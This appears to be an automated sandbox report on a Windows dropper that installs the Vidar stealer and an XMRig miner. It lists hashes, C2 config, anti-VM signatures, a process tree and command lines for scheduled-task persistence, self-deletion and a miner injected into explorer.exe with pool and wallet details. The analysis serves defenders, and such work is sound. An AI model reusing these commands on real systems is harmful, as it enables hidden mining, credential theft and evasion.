Analysis
- max time kernel
149s - max time network
117s - platform
windows10_x64 - resource
win10v20210408 - submitted
09/10/2021, 07:59
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
Resource
win7-en-20210920
0 signatures
0 seconds
General
- Target SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe
- Size 1.0MB
- Sample211009-jvdymsfbfl
- SHA256 a4135c43aee02115c239b00fad113112dd908aa3d3013337b009b423a17c441d
- MD5 f094036283fb7ea42ba5627934eba4cf
- SHA1 a53b90650c84e9d4f270beae67ff9ed07492c777
- SHA512 d7ab19d00ffe99091e4a5e3f59a862ab07bd98c8616c8284c13eb748c22f54029af055604dd2835220b72d81b6fb05c97c2c04ba2e91f289a350be38e10fca60
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
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vidar
Version
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41.2
Botnet
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933
C2
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https://mas.to/@serg4325
Attributes
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profile_id
933
Signatures
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
- Vidar Stealer 2 IoCs
resource yara_rule behavioral2/memory/2692-192-0x0000000000770000-0x0000000000846000-memory.dmp family_vidar behavioral2/memory/2692-193-0x0000000000400000-0x00000000004D9000-memory.dmp family_vidar - XMRig Miner Payload 2 IoCs
resource yara_rule behavioral2/memory/3628-259-0x00000001402F327C-mapping.dmp xmrig behavioral2/memory/3628-261-0x0000000140000000-0x0000000140763000-memory.dmp xmrig - Downloads MZ/PE file
- Executes dropped EXE 12 IoCs
pid Process 596 Chrome 5.exe 1244 inst001.exe 1988 DownFlSetup110.exe 2692 Soft1ww01.exe 1224 2446264.scr 1608 2140917.scr 2104 2254280.scr 3132 6547046.scr 1804 8248303.scr 1516 WinHoster.exe 2648 services64.exe 2904 sihost64.exe - Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 2254280.scr Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 2254280.scr Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6547046.scr Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6547046.scr - Loads dropped DLL 2 IoCs
pid Process 2692 Soft1ww01.exe 2692 Soft1ww01.exe - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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resource yara_rule behavioral2/files/0x000100000001ab59-153.dat themida behavioral2/files/0x00020000000152e1-158.dat themida behavioral2/memory/2104-171-0x0000000000D70000-0x0000000000D71000-memory.dmp themida behavioral2/memory/3132-186-0x0000000000C00000-0x0000000000C01000-memory.dmp themida - Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 2140917.scr - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2254280.scr Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6547046.scr - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2104 2254280.scr 3132 6547046.scr - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2648 set thread context of 3628 2648 services64.exe 102 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Soft1ww01.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Soft1ww01.exe - Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3052 schtasks.exe 3364 schtasks.exe - Delays execution with timeout.exe 1 IoCs
pid Process 1912 timeout.exe - Kills process with taskkill 1 IoCs
pid Process 2936 taskkill.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1224 2446264.scr 2104 2254280.scr 2104 2254280.scr 3132 6547046.scr 3132 6547046.scr 1804 8248303.scr 1224 2446264.scr 1804 8248303.scr 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 2692 Soft1ww01.exe 3132 6547046.scr 596 Chrome 5.exe 2648 services64.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe 3628 explorer.exe - Suspicious use of AdjustPrivilegeToken 10 IoCs
description pid Process Token: SeDebugPrivilege 1988 DownFlSetup110.exe Token: SeDebugPrivilege 1224 2446264.scr Token: SeDebugPrivilege 1804 8248303.scr Token: SeDebugPrivilege 3132 6547046.scr Token: SeDebugPrivilege 2104 2254280.scr Token: SeDebugPrivilege 2936 taskkill.exe Token: SeDebugPrivilege 596 Chrome 5.exe Token: SeDebugPrivilege 2648 services64.exe Token: SeLockMemoryPrivilege 3628 explorer.exe Token: SeLockMemoryPrivilege 3628 explorer.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 632 wrote to memory of 596 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 73 PID 632 wrote to memory of 596 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 73 PID 632 wrote to memory of 1244 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 74 PID 632 wrote to memory of 1244 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 74 PID 632 wrote to memory of 1244 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 74 PID 632 wrote to memory of 1988 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 75 PID 632 wrote to memory of 1988 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 75 PID 632 wrote to memory of 2692 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 76 PID 632 wrote to memory of 2692 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 76 PID 632 wrote to memory of 2692 632 SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe 76 PID 1988 wrote to memory of 1224 1988 DownFlSetup110.exe 77 PID 1988 wrote to memory of 1224 1988 DownFlSetup110.exe 77 PID 1988 wrote to memory of 1224 1988 DownFlSetup110.exe 77 PID 1988 wrote to memory of 1608 1988 DownFlSetup110.exe 79 PID 1988 wrote to memory of 1608 1988 DownFlSetup110.exe 79 PID 1988 wrote to memory of 1608 1988 DownFlSetup110.exe 79 PID 1988 wrote to memory of 2104 1988 DownFlSetup110.exe 80 PID 1988 wrote to memory of 2104 1988 DownFlSetup110.exe 80 PID 1988 wrote to memory of 2104 1988 DownFlSetup110.exe 80 PID 1988 wrote to memory of 3132 1988 DownFlSetup110.exe 82 PID 1988 wrote to memory of 3132 1988 DownFlSetup110.exe 82 PID 1988 wrote to memory of 3132 1988 DownFlSetup110.exe 82 PID 1988 wrote to memory of 1804 1988 DownFlSetup110.exe 84 PID 1988 wrote to memory of 1804 1988 DownFlSetup110.exe 84 PID 1988 wrote to memory of 1804 1988 DownFlSetup110.exe 84 PID 1608 wrote to memory of 1516 1608 2140917.scr 85 PID 1608 wrote to memory of 1516 1608 2140917.scr 85 PID 1608 wrote to memory of 1516 1608 2140917.scr 85 PID 2692 wrote to memory of 2720 2692 Soft1ww01.exe 87 PID 2692 wrote to memory of 2720 2692 Soft1ww01.exe 87 PID 2692 wrote to memory of 2720 2692 Soft1ww01.exe 87 PID 2720 wrote to memory of 2936 2720 cmd.exe 89 PID 2720 wrote to memory of 2936 2720 cmd.exe 89 PID 2720 wrote to memory of 2936 2720 cmd.exe 89 PID 2720 wrote to memory of 1912 2720 cmd.exe 90 PID 2720 wrote to memory of 1912 2720 cmd.exe 90 PID 2720 wrote to memory of 1912 2720 cmd.exe 90 PID 596 wrote to memory of 764 596 Chrome 5.exe 93 PID 596 wrote to memory of 764 596 Chrome 5.exe 93 PID 764 wrote to memory of 3052 764 cmd.exe 95 PID 764 wrote to memory of 3052 764 cmd.exe 95 PID 596 wrote to memory of 2648 596 Chrome 5.exe 96 PID 596 wrote to memory of 2648 596 Chrome 5.exe 96 PID 2648 wrote to memory of 1340 2648 services64.exe 98 PID 2648 wrote to memory of 1340 2648 services64.exe 98 PID 2648 wrote to memory of 2904 2648 services64.exe 100 PID 2648 wrote to memory of 2904 2648 services64.exe 100 PID 1340 wrote to memory of 3364 1340 cmd.exe 101 PID 1340 wrote to memory of 3364 1340 cmd.exe 101 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102 PID 2648 wrote to memory of 3628 2648 services64.exe 102
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.MulDropNET.43.8032.30043.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:632 -
C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:596 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit3⤵
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'4⤵
- Creates scheduled task(s)
PID:3052
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C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit4⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'5⤵
- Creates scheduled task(s)
PID:3364
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C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"4⤵
- Executes dropped EXE
PID:2904
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C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3628
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C:\Users\Admin\AppData\Local\Temp\inst001.exe"C:\Users\Admin\AppData\Local\Temp\inst001.exe"2⤵
- Executes dropped EXE
PID:1244
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C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Users\Admin\AppData\Roaming\2446264.scr"C:\Users\Admin\AppData\Roaming\2446264.scr" /S3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1224
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C:\Users\Admin\AppData\Roaming\2140917.scr"C:\Users\Admin\AppData\Roaming\2140917.scr" /S3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵
- Executes dropped EXE
PID:1516
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C:\Users\Admin\AppData\Roaming\2254280.scr"C:\Users\Admin\AppData\Roaming\2254280.scr" /S3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Users\Admin\AppData\Roaming\6547046.scr"C:\Users\Admin\AppData\Roaming\6547046.scr" /S3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
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C:\Users\Admin\AppData\Roaming\8248303.scr"C:\Users\Admin\AppData\Roaming\8248303.scr" /S3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1804
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C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2692 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Soft1ww01.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe" & del C:\ProgramData\*.dll & exit3⤵
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im Soft1ww01.exe /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:1912
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